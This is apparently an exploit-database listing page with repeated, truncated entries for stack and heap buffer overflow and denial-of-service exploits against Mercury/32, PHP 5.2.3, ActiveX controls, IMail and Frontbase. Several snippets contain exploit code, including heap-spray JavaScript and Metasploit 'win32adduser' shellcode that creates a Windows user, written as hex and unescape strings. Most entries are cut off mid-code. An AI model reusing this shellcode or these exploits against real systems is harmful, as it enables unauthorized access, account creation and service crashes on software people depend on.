Mercury/32 Mail Server 3.32 < 4.51 - SMTP EIP Overwrite

/ Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP overwrite exploit Exploit date :...

PHP 5.2.3 glob() Remote DoS Exploit

?php //PHP 5.2.3 glob Remote DoS Exploit //author: shinnai //mail: shinnaiatautisticidotorg //site: http://shinnai.altervista.org //Tested on xp sp2, worked both from the cli EIP overwrite and on apache Denial of Service //Bug discovered with "Footzo" thanks to rgod. //To download Footzo:...

PHP <= 5.2.3 snmpget() object id Local Buffer Overflow Exploit

No description provided by source. ?php //PHP = 5.2.3 snmpget object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php446snmpgetlocalbof.html //quote="rgod"more than 256 chars result in simple eip overwrite/quote...

php523-snmpget.txt

?php //PHP = 5.2.3 snmpget object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php446snmpgetlocalbof.html //quote="rgod"more than 256 chars result in simple eip overwrite/quote //right! so here it is an exploit using e...

PHP 5.2.3 - 'snmpget()' Object id Local Buffer Overflow

?php //PHP = 5.2.3 snmpget object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php446snmpgetlocalbof.html //quote="rgod"more than 256 chars result in simple eip overwrite/quote //right! so here it is an exploit using e...

PHP 5.2.3 glob() Denial of Service Exploit

No description provided by source. ?php //PHP 5.2.3 glob Remote DoS Exploit //author: shinnai //mail: shinnaiatautisticidotorg //site: http://shinnai.altervista.org //Tested on xp sp2, worked both from the cli EIP overwrite and on apache Denial of Service...

PHP 5.2.3 glob() Denial of Service Exploit

Exploit for multiple platform in category dos / poc ========================================== PHP 5.2.3 glob Denial of Service Exploit ========================================== 0day.today 2018-04-09...

W3Filer 2.1.3 - Remote Stack Overflow (PoC)

/ W3Filer Buffer Overflow Vulnerability DoS POC r0ut3r writ3r at gmail.com Version: 2.1.3 Description: If the client recieves a large banner when attempting to send a file the application will freeze, resulting in the user having to kill the application. Alternatively the application will...

KSign KSignSWAT 2.0.3.3 - ActiveX Control Remote Buffer Overflow

KSign KSignSWAT 2.0.3.3 - ActiveX Control Remote Buffer Overflow www.ksign.com - KSignSWAT SWATLogin PoC code function GetHeapPadHeapJam, SizeofHeapPad whileHeapJam.length2 SizeofHeapPad HeapJam +=HeapJam; HeapJam = HeapJam.substring0, SizeofHeapPad/2; return HeapJam; // buffer 671 bytes write,...

KSign KSignSWAT 2.0.3.3 - ActiveX Control Remote Buffer Overflow

www.ksign.com - KSignSWAT SWATLogin PoC code function GetHeapPadHeapJam, SizeofHeapPad whileHeapJam.length2 SizeofHeapPad HeapJam +=HeapJam; HeapJam = HeapJam.substring0, SizeofHeapPad/2; return HeapJam; // buffer 671 bytes write, then EIP overwrite. var O5pad=unescape...

Pegasus ImagN - ActiveX Control Remote Buffer Overflow

?php / win32adduser - PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com / $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...

VImpX ActiveX (VImpX.ocx 4.7.3.0) - Remote Buffer Overflow

VImpX ActiveX VImpX.ocx 4.7.3.0 - Remote Buffer Overflow ?php / win32adduser - PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com / $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

VImpX ActiveX (VImpX.ocx 4.7.3.0) - Remote Buffer Overflow

?php / win32adduser - PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com / $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...

Sienzo Digital Music Mentor 2.6.0.4 SetEvalExpiryDate EIP Overwrite

No description provided by source. !-- =============================================================================================== Sienzo Digital Music Mentor DMM 2.6.0.4 DSKernel2.dll SetEvalExpiryDate Method Stack Overflow EIP Overwrite Exploit By Parveen Vashishtha...

sienzo-eip.txt

shellcode=unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" shellcode=shellcode+unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41"...

Sienzo Digital Music Mentor 2.6.0.4 - SetEvalExpiryDate EIP Overwrite

Sienzo Digital Music Mentor 2.6.0.4 - SetEvalExpiryDate EIP Overwrite shellcode=unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36"...

Sienzo Digital Music Mentor 2.6.0.4 SetEvalExpiryDate EIP Overwrite

Exploit for unknown platform in category remote exploits =================================================================== Sienzo Digital Music Mentor 2.6.0.4 SetEvalExpiryDate EIP Overwrite ===================================================================...

Sienzo Digital Music Mentor 2.6.0.4 - SetEvalExpiryDate EIP Overwrite

shellcode=unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" shellcode=shellcode+unescape"%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41"...

IPSwitch IMail Server <= 8.20 IMAPD Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================== IPSwitch IMail Server = 8.20 IMAPD Remote Buffer Overflow Exploit ================================================================== / Dreatica-FXP crew...

Frontbase 4.2.7 (Windows) - Remote Buffer Overflow

Frontbase 4.2.7 Windows - Remote Buffer Overflow / Dreatica-FXP crew ---------------------------------------- Target : Frontbase = 4.2.7 for Windows Site : http://www.frontbase.com Found by : Netragard, L.L.C Advisory ---------------------------------------- Exploit date : 25.03.2007 Exploit writ...